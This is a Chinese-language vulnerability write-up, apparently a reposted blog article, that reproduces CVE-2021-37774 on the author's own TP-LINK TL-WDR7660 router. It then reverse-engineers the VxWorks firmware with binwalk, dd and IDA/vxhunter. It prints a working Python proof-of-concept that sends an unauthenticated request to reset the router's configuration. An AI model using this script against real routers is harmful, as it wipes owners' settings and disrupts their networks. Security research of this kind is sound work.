TL-WDR7660路由器2.0.30固件版本
笔者手上正好有一台闲置的TL-WDR7660千兆版路由器,从路由器背面信息可以看出,该路由器在初始状态下,发出的无线wifi信号名称为TP-LINK_41B1
在初始状态下,连接TP-LINK_41B1 wifi信号不需要密码,连接后使用浏览器访问192.168.1.1会进入到初始化界面,需要对路由器后台密码、wifi名称及密码等进行配置,配置完成后进入路由器后台,访问路由设置->软件升级,发现该路由器安装的固件版本刚好是存在漏洞的2.0.30版本
下面直接尝试复现该漏洞
在poc链接中,漏洞作者公开了漏洞验证python脚本
import sys
import requests
if len(sys.argv) != 2:
exit()
ip = sys.argv[1]
s = requests.Session()
data = “{“system”:{“reset”:null},”method”:”do”, “cfgsync”:{“get_config_info”:null}}”
response = s.post(“http://%s/ds” %ip, data=data)
print(“Status code: %i” % response.status_code)
print(“Response body: %s” % response.content)
接下来通过运行poc脚本
python wdr7660_CVE-2021-37774.py 192.168.1.1
运行后返回了200状态码,同时提示等待30s的延时
此时访问192.168.1.1发现已经无法打开路由器后台
通过系统的wifi管理界面发现刚才设置的wifi名称密码已经被重置,重新变成了初始的无认证的wifi信号TP-LINK_41B1
漏洞复现成功后,接下来我们下载TL-WDR7660路由器2.0.30版本固件进行分析
在tp-link官方服务支持站点中,搜索WDR7660就能找到该固件下载地址
https://service.tp-link.com.cn/download/20207/TL-WDR7660%E5%8D%83%E5%85%86%E7%89%88%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620190830_2.0.30.zip
固件下载后首先进行压缩包解压,得到bin固件文件后再通过binwalk进行解压分析
binwalk wdr7660gv1-cn-up_2019-08-30_10.37.02.bin --run-as=root
通过查阅资料发现,TP-LINK TL-WDR7660搭建的固件是基于VxWorks(一种RTOS),通过binwalk解压分析后并不能得到和其他大部分路由器一样类似的完整的文件系统。从binwalk的分析结果来看,该固件主要由一个固件头部(uImage header)和其他LZMA格式的文件数据组成(LZMA是一种压缩算法)。在uImage header中,有一个表示引导加载程序(uBoot)的入口地址字段,即Entry Point,我们可以根据这个入口地址提取出uBoot程序。
一般来说,uBoot程序的长度 = uImage header的长度+其后紧接的一块LZMA数据的长度,从binwalk的分析结果中可以看到,uImage header的起始位置为512,其后紧接的第二块LZMA数据的起始位置为66560,所以可以得到uBoot程序的长度 = uImage header紧接的第二块LZMA数据的起始位置 – uImage header的起始位置 = 66560-512 = 66048,根据这个长度使用dd命令即可提取出uBoot程序
dd wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=uboot.raw bs=1 skip=512 count=66048
dd if=wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=main.lzma bs=1 skip=66560 count=1355840
得到主程序的lzma压缩包文件之后,尝试通过lzma进行解压
lzma -d main.lzma
解压后得到main文件,尝试使用binwalk进行解压分析
binwalk main
此时若将该main文件导入到ghidra中,同时搜索漏洞关键字“httpProcDataSrv”,发现虽然有两个结果,但是无法找到对应的函数,其他函数反编译出来的代码也基本不可读
猜测应该是VxWorks系统的分析方式问题,通过查阅资料,发现
“使用ida或者ghidra等反汇编工具进行分析时,需要了解VxWorks系统的加载基址,否则无法正确地分析系统。VxWorks系统的加载基址与栈初始化地址相同,根据VxWorks官方给出的说明,其采用usrInit进行栈初始化,而usrInit是VxWorks系统引导后运行的第一个函数,因此可以直接把VxWorks系统文件丢到ida中,先用0作为加载基址,然后找sp寄存器首次出现的位置,就是VxWorks系统的加载基址。”(参考http://blog.nsfocus.net/tp-link-wdr/)
这里其实有个最简单的办法,使用IDA或者ghidra打开上文中提取得到的main文件,开头地址即为加载基址,如下图,为0x40205000
获得加载基址还需要利用符号表修复函数名才能对基于VxWorks系统的固件进行较好的反编译
TP-LINK WDR7660固件的符号表和VxWorks系统文件是分离的,所以需要从binwalk解压升级文件后得到的文件中寻找符号文件。Bzero是VxWorks中一个函数,系统启动过程中会使用bzero函数对bss区的数据进行清零,因此可以利用”grep -r bzero”查找bzero函数,bzero函数所在的文件即为符号表文件
这里可以看到,bzero函数在15CBBA文件中,我们可以通过010editor等工具打开文件进行确认
同时,也可以看出符号表的区间为0x00008-0x1a728
接下来通过IDA打开上述得到的main文件,并将ROM start address与Loading address都设置为0x40205000
然后通过一款名为vxhunter的开源反编译插件利用符号表修复函数名,vxhunter支持IDA Pro 7.x/Ghidra 9.x/Radare2等逆向工具,插件地址https://github.com/PAGalaxyLab/vxhunter
由于Ghidra 9.x版本的vxhunter没有办法在导入主程序文件后再加载符号表文件,所以下面使用IDA来进行操作
使用流程:先使用IDA加载上面提取到的主程序文件main,然后在edit->vxHunter->load VxWorks symbol file导入提取到的符号表文件
等待修复完成后可以看到函数名已经还原,接下来就可以进行正常静态分析了
原文始发于微信公众号(第59号):TL-WDR7660 httpProcDataSrv任意代码执行漏洞复现分析